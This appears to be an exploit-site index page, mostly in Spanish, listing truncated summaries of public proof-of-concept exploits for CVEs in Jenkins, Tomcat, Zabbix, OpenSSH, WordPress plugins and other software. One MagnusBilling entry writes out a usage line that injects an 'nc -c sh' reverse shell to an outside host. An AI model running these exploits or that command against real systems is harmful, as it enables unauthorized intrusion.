CVE-2016-0792

Exploit para la vulnerabilidad de serialización de Jenkins - CVE-2016-0792 https://www.exploit-db.com/exploits/42394/ Más información se puede encontrar aquí 1. Contrast Security 2. Pentester Lab Requisitos 1. Python 3.6.x 2. La librería requests es necesaria para que este exploit funcione sudo p...

CVE-2020-9484-exploit

CVE-2020-9484-exploit Ejecución remota de código en Apache Tomcat Antes de ejecutar el script, cambie la ruta de ysoserial según la ruta de su archivo. ysoserial : https://github.com/frohoff/ysoserial Para más referencia :...

CVE-2024-42327_Zabbix_SQLi

🛡️ Zabbix 7.0.0 SQL Injection Exploit Script A Python script to exploit a Zabbix 7.0.0 authenticated SQL injection vulnerability, supporting multiple modes of action including user data extraction, session token leaks, remote command execution RCE, and custom query injection. ⚠️ DISCLAIMER: This...

zoneminder_CVE-2023-26035

Exploit - ZoneMinder CVE-2023-26035 Hay una Ejecución Remota de Código RCE sin autenticación que afecta a las instantáneas de ZoneMinder. Esto es un exploit para CVE-2023-26035. Versiones afectadas ZoneMinder 1.36.33 y ZoneMinder 1.37.33. Uso Comprobar si el objetivo es vulnerable: root@kitploit:...

CVE-2020-5902

CVE-2020-5902 Script de Python para verificar CVE-2020-5902 dispositivos F5 BIG-IP. Uso root@kitploit: python3 CVE-2020-5902.py -i Salida root@kitploit: - Script de Python para verificar CVE-2020-5902 dispositivos F5 BIG-IP. | codificado por Abdullah AlZahrani ! Tu objetivo: 127.0.0.1 I /etc/pass...

CVE-2022-24637

CVE-2022-24637 Open Web Analytics 1.7.3 - Exploit de Ejecución Remota de Código v2 Exploit funcional para Open Web Analytics 1.7.3 - RCE mejorado con el php reverse shell de pentestmonkey. Corregido el problema de no poder encontrar al usuario en la caché. El exploit original se puede encontrar...

Chamilo-CVE-2023-4220-RCE-Exploit

CVE-2023-4220 Chamilo LMS Ejecución Remota de Código por Subida de Archivo Grande sin Autenticación Resumen Este repositorio contiene un exploit de prueba de concepto PoC para la vulnerabilidad identificada como CVE-2023-4220 en Chamilo LMS. Este exploit aprovecha una vulnerabilidad de carga de...

CVE-2019-3980

CVE-2019-3980 CVE-2019-3980 exploit written in win32/c++ openssl dependency. Port of https://github.com/tenable/poc/blob/master/Solarwinds/Dameware/dwrcsdwDrvInstrce.py Instructions This PoC requires staticly linked openssl libraries. Place openssl includes in thirdparty\include\openssl and libs ...

MAL-009

MAL-009: Encadenamiento Inseguro de las Opciones T y TT en Zip para Linux En Zip para Linux, la opción “-TT” puede utilizarse para ejecutar comandos arbitrarios del sistema. Debido a la naturaleza peligrosa de esta opción, debe usarse siempre al mismo tiempo que la opción “-T”. Mediante un ataque...

CVE-2024-49379

Prueba de Concepto PoC para CVE-2024-49379 Este repositorio contiene una Prueba de Concepto PoC basada en Python para una vulnerabilidad crítica identificada en UmbrelOS. La vulnerabilidad permite Cross-Site Scripting XSS, que puede escalar a Ejecución Remota de Código RCE bajo condiciones...

CVE-2024-10586

CVE-2024-10586 Debug Tool = 2.2 - Creación Arbitraria de Archivos sin Autenticación Descripción: El plugin Debug Tool para WordPress es vulnerable a la creación arbitraria de archivos debido a una falta de verificación de capacidades en la función dbtpullimage y a la falta de validación del tipo ...

CVE-2022-1040

CVE-2022-1040-sophos-rce-poc sophos rce poc script de omisión de autenticación y ejecución remota de código RCE todo en uno para el portal webmin de Sophos; La vulnerabilidad afecta a Sophos Firewall v18.5 MR3 18.5.3 y anteriores Mitigación: actualizar a la última versión lo antes posible...

POC-IngressNightmare-CVE-2025-1974

POC de IngressNightmare CVE-2025-1974 Desarrollado a partir de: https://github.com/yoshino-s/CVE-2025-1974 https://www.wiz.io/blog/ingress-nginx-kubernetes-vulnerabilities Hablar es barato, solo mira el código. Los detalles se pueden encontrar en...

CVE-2023-30258-RCE-POC

CVE-2023-30258-RCE-POC POC para CVE-2023-30258-RCE por n0o0b Uso root@kitploit: usage: poc.py -h -u URL -c CMD example. python poc.py -u http://10.10.69.34/mbilling --cmd "nc -c sh 10.21.126.163 8888" options: -h, --help show this help message and exit -u URL, --url URL Target URL -c CMD, --cmd C...

cve-2024-6387-poc

cve-2024-6387-poc una condición de carrera en el manejador de señales del servidor OpenSSH sshd 7etsuo Descripción Un exploit para CVE-2024-6387, que ataca una condición de carrera en el manejador de señales del servidor OpenSSH sshd en sistemas Linux basados en glibc. La vulnerabilidad permite l...

CVE-2025-32579

⚠️ CVE-2025-32579 - Critical RCE via Sync Posts Plugin WordPress 📦 Affects: Sync Posts 🧨 CVSS Score: 9.9 CRITICAL 📁 CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H 🧠 Vulnerability Overview The Sync Posts WordPress plugin by SoftClever Limited is vulnerable to an Unrestricted File Upload...

RCE-PoC-CVE-2021-25646

CVE-2021-25646 Proof-of-Concept Go Version Overview This repository contains a proof-of-concept PoC exploit for CVE-2021-25646, a critical remote code execution vulnerability in Apache Druid. The exploit is written in Go and allows for interactive command injection via the terminal. Features...

CVE-2022-35914_poc

CVE-2022-35914poc Modified for GLPI Offsec Lab: calluserfunc, arraymap, passthru References Modified to work for Proving Grounds Practice Lab: GLPI https://github.com/glpi-project/glpi/security/advisories/GHSA-c5gx-789q-5pcr https://github.com/cosad3s/CVE-2022-35914-poc/blob/main/CVE-2022-35914.p...

CVE-2024-29050

CVE-2024-29050 CVE-2024-29050 es una vulnerabilidad de seguridad en los servicios criptográficos de Windows, particularmente en cómo se procesan los certificados durante las operaciones criptográficas. El problema se origina en un desbordamiento de enteros, que ocurre cuando los cálculos sobre...

Telerik-UI-ASP.NET-AJAX-Exploitation

Telerik-UI-ASP.NET-AJAX-Explotación Carga de archivos sin restricciones por cifrado débil en versiones afectadas CVE-2017-11317 2. Ejecución remota de código por deserialización insegura - CVE-2019-18935...